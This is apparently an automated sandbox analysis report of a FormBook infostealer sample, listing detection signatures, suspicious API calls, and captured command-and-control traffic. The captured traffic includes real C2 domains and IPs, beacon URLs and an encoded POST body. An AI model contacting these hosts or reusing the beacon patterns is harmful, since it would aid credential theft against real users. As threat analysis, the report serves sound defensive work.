Windows Analysis Report
UPDATED Q-LOT24038.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2818192259.0000000005880000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1921916620.0000000005C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2807478612.0000000003110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1920759249.00000000041A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2811678069.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1919938894.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2813920802.0000000002E70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2811743705.00000000037B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: UPDATED Q-LOT24038.exe

Joe Sandbox ML: detected

Source: UPDATED Q-LOT24038.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: LPXBsvFDomujkZ.exe, 00000004.00000000.1841220231.0000000000BBE000.00000002.00000001.01000000.00000005.sdmp, LPXBsvFDomujkZ.exe, 00000008.00000002.2807452434.0000000000BBE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: auditpol.pdbGCTL source: svchost.exe, 00000002.00000003.1885855120.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000004.00000002.2810699424.0000000000808000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: UPDATED Q-LOT24038.exe, 00000000.00000003.1579957579.0000000004310000.00000004.00001000.00020000.00000000.sdmp, UPDATED Q-LOT24038.exe, 00000000.00000003.1580965371.00000000046A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1920257719.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1823486784.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1920257719.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1825450692.0000000003200000.00000004.00000020.00020000.00000000.sdmp, auditpol.exe, 00000005.00000002.2814371427.0000000003AC0000.00000040.00001000.00020000.00000000.sdmp, auditpol.exe, 00000005.00000002.2814371427.0000000003C5E000.00000040.00001000.00020000.00000000.sdmp, auditpol.exe, 00000005.00000003.1920312701.0000000003765000.00000004.00000020.00020000.00000000.sdmp, auditpol.exe, 00000005.00000003.1922816740.0000000003915000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: UPDATED Q-LOT24038.exe, 00000000.00000003.1579957579.0000000004310000.00000004.00001000.00020000.00000000.sdmp, UPDATED Q-LOT24038.exe, 00000000.00000003.1580965371.00000000046A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1920257719.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1823486784.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1920257719.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1825450692.0000000003200000.00000004.00000020.00020000.00000000.sdmp, auditpol.exe, auditpol.exe, 00000005.00000002.2814371427.0000000003AC0000.00000040.00001000.00020000.00000000.sdmp, auditpol.exe, 00000005.00000002.2814371427.0000000003C5E000.00000040.00001000.00020000.00000000.sdmp, auditpol.exe, 00000005.00000003.1920312701.0000000003765000.00000004.00000020.00020000.00000000.sdmp, auditpol.exe, 00000005.00000003.1922816740.0000000003915000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: auditpol.pdb source: svchost.exe, 00000002.00000003.1885855120.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000004.00000002.2810699424.0000000000808000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452126
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	0_2_0045C999
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00436ADE
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00434BEE
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,	0_2_0045DD7C
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD29
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	0_2_00436D2D
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442E1F
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00475FE5
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8D
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_0312C2D0 FindFirstFileW,FindNextFileW,FindClose,	5_2_0312C2D0

Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 4x nop then xor eax, eax	5_2_03119B30
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 4x nop then pop edi	5_2_0311DDE5
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 4x nop then mov ebx, 00000004h	5_2_038B04DE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:49709 -> 147.92.40.174:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:49822 -> 203.161.43.245:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:49991 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:49987 -> 44.213.25.70:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.11:49909 -> 52.20.84.62:80

Source: Joe Sandbox View	IP Address: 52.20.84.62 52.20.84.62
Source: Joe Sandbox View	IP Address: 44.213.25.70 44.213.25.70
Source: Joe Sandbox View	IP Address: 203.161.43.245 203.161.43.245

Source: Joe Sandbox View	ASN Name: AMAZON-AESUS AMAZON-AESUS
Source: Joe Sandbox View	ASN Name: AMAZON-AESUS AMAZON-AESUS
Source: Joe Sandbox View	ASN Name: VNPT-AS-VNVNPTCorpVN VNPT-AS-VNVNPTCorpVN
Source: Joe Sandbox View	ASN Name: DNC-ASDimensionNetworkCommunicationLimitedHK DNC-ASDimensionNetworkCommunicationLimitedHK

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,

0_2_0044289D

Source: global traffic	HTTP traffic detected: GET /i70z/?Q0bDs=Qd64jJtXfz5txpyp&78pd9P=ggo41uDwxRIOOoeO5uoDvI5msTaTicilzUAj4DLPY1E55MlxYQjRP3RbpEn9FapIu2dLvf4ZjTINa65Ki93S2oS8KVwkCJLo4A2Swb3ejovjvR8Lu43QOFs= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.63582.photoConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /gubb/?Q0bDs=Qd64jJtXfz5txpyp&78pd9P=oPjgdHtcRwBFU1aBx5OUlPqNDMDzVTJA+Z/l/vbVu6gyzA9FNnh3E8/0K3U760fP/mUdrl6a4REPJue/mxKUzwa2Qj4WDWCJmKnjA5rRPanYi2c69pSt38k= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.stayup.topConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /s9un/?78pd9P=yV7TdkxfDhjd90B1GyEUMHiPAWmOEZgV0zBeo1/164guPJfW3iKC9HyL21G52/AKQq5uaAr+ytnoQTz6UIOzeOvcyJ/QyueRyMTK+ZYHHAs6w8LsvJEEG/I=&Q0bDs=Qd64jJtXfz5txpyp HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.luxe.guruConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /paa2/?78pd9P=n7l4pK2vJUox4BGQd6S9BuAb4HmjCvTxbp1eoNPi6Q2eN5D+KpvM2vqKME65A47EEAJHO8M7tvWjwt8QkxqAI+wiezBUVuOrZ7jYHQQX8PgVhqgS3/1s334=&Q0bDs=Qd64jJtXfz5txpyp HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.newdaydawning.netConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /pt4m/?78pd9P=gto6zAZEImMHeJ+KlpqD+SMf3GhwL3heZOEv9IoNosKW45cXkvVUXc/PKOyk1O8wCdnCAQISoXLeySDC7Pr7eqV7iieAtO2uOKCvlG99AOT98PBZqck2H4Q=&Q0bDs=Qd64jJtXfz5txpyp HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.theclydefund.infoConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.63582.photo
Source: global traffic	DNS traffic detected: DNS query: www.bonusgame2024.online
Source: global traffic	DNS traffic detected: DNS query: www.stayup.top
Source: global traffic	DNS traffic detected: DNS query: www.luxe.guru
Source: global traffic	DNS traffic detected: DNS query: www.newdaydawning.net
Source: global traffic	DNS traffic detected: DNS query: www.theclydefund.info

Source: unknown

HTTP traffic detected: POST /gubb/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,enAccept-Encoding: gzip, deflate, brHost: www.stayup.topContent-Type: application/x-www-form-urlencodedContent-Length: 203Connection: closeCache-Control: no-cacheOrigin: http://www.stayup.topReferer: http://www.stayup.top/gubb/User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36Data Raw: 37 38 70 64 39 50 3d 6c 4e 4c 41 65 32 6c 30 51 6b 70 62 42 30 76 6b 36 72 79 46 36 4d 2b 6f 64 4e 4f 48 66 69 35 64 38 6f 76 37 37 38 79 53 6b 73 51 63 67 68 5a 31 44 46 5a 78 4e 4d 7a 4a 4e 45 73 59 78 6a 57 55 6b 46 35 44 71 31 61 4d 2b 68 4a 66 44 4e 53 66 2f 43 57 69 6d 51 36 44 58 44 4a 55 4d 53 48 79 70 61 44 65 4b 73 47 34 4f 35 76 57 6d 31 35 6d 7a 4c 69 71 39 4d 6f 55 37 66 71 38 57 53 42 42 4b 49 47 69 4c 35 46 6d 71 76 47 79 35 35 43 6b 2f 4f 37 69 49 69 44 31 73 51 6b 71 51 4e 55 4a 4d 77 2b 7a 68 67 57 34 31 45 77 43 56 56 57 4c 67 76 44 4b 66 41 6c 53 78 48 48 74 37 4e 66 79 65 67 3d 3d Data Ascii: 78pd9P=lNLAe2l0QkpbB0vk6ryF6M+odNOHfi5d8ov778ySksQcghZ1DFZxNMzJNEsYxjWUkF5Dq1aM+hJfDNSf/CWimQ6DXDJUMSHypaDeKsG4O5vWm15mzLiq9MoU7fq8WSBBKIGiL5FmqvGy55Ck/O7iIiD1sQkqQNUJMw+zhgW41EwCVVWLgvDKfAlSxHHt7Nfyeg==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 04 Oct 2024 13:17:46 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 04 Oct 2024 13:17:49 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 04 Oct 2024 13:17:51 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 04 Oct 2024 13:18:10 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://newdaydawning.net/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 0d 0a 32 64 0d 0a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 0d 0a 35 31 0d 0a 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 0d 0a Data Ascii: 16<!doctype html><html 2dlang="en-US" prefix="og: https://ogp.me/ns#" 51><head><link rel="profile" href="https://gmpg.org/xfn/11"><meta charset="

Source: auditpol.exe, 00000005.00000002.2817025287.0000000004B1C000.00000004.10000000.00040000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000008.00000002.2816784140.0000000003E7C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://newdaydawning.net/paa2/?78pd9P=n7l4pK2vJUox4BGQd6S9BuAb4HmjCvTxbp1eoNPi6Q2eN5D
Source: auditpol.exe, 00000005.00000002.2817025287.000000000498A000.00000004.10000000.00040000.00000000.sdmp, LPXBsvFDomujkZ.exe, 00000008.00000002.2816784140.0000000003CEA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.luxe.guru/
Source: LPXBsvFDomujkZ.exe, 00000008.00000002.2818192259.0000000005920000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.theclydefund.info
Source: LPXBsvFDomujkZ.exe, 00000008.00000002.2818192259.0000000005920000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.theclydefund.info/pt4m/
Source: auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: auditpol.exe, 00000005.00000002.2807847157.0000000003432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: auditpol.exe, 00000005.00000002.2807847157.0000000003432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: auditpol.exe, 00000005.00000003.2110097791.0000000008343000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: auditpol.exe, 00000005.00000002.2807847157.0000000003432000.00000004.00000020.00020000.00000000.sdmp, auditpol.exe, 00000005.00000003.2111571788.0000000003464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: auditpol.exe, 00000005.00000003.2111571788.0000000003464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033b
Source: auditpol.exe, 00000005.00000002.2807847157.0000000003432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: auditpol.exe, 00000005.00000002.2807847157.0000000003432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: auditpol.exe, 00000005.00000002.2807847157.0000000003432000.00000004.00000020.00020000.00000000.sdmp, auditpol.exe, 00000005.00000003.2111571788.0000000003464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: auditpol.exe, 00000005.00000002.2818717764.0000000008368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046C5D0

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00459FFF

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046C5D0

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

0_2_00456354

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

